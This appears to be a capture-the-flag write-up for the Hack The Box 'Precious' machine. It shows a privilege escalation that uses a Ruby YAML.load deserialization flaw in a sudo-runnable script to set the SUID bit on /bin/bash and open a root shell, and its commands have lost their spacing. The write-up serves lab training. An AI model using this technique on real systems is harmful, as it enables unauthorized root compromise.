Visiting http://precious.htb will display a page that says "Convert Web Page to PDF".
A quick check using a locally setup webserver showed that the page is exactly doing that.
Using Burp we check our requests and can identify that Ruby is used!
Looks like we are allowed to update dependencies as root user. Smells like a ruby deserialization attack
/opt/update_dependencies.rb
Checking the file we are allowed to run will confirm my assumption. YAML.load is extremely unsafe and shouldn't be used according to Ruby - YAML
# Compare installed dependencies with those specified in "dependencies.yml"require"yaml"require'rubygems'# TODO: update versions automaticallydefupdate_gems()enddeflist_from_fileYAML.load(File.read("dependencies.yml"))enddeflist_local_gemsGem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}endgems_file = list_from_filegems_local = list_local_gemsgems_file.each do|file_name, file_version| gems_local.each do|local_name, local_version|if(file_name == local_name)if(file_version != local_version)puts"Installed version differs from the one specified in file: "+ local_nameelseputs"Installed version is equals to the one specified in file: "+ local_nameendendendend
Privilege Escalation
We will use a Universal RCE for Ruby YAML.load - YAML.load - RCE
dependencies.yaml
First we have to create the dependencies.yaml file in our current location and modify git_set to add suid on /bin/bash
# Will throw some errors after executionsudo/usr/bin/ruby/opt/update_dependencies.rb# Check permissions on /bin/bashls-al/bin/bash# -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
# If bash has SUID bit set it does not drop the elevated privileges. So we will use that as planned /bin/bash-pid# uid=0(root) gid=0(root) groups=0(root)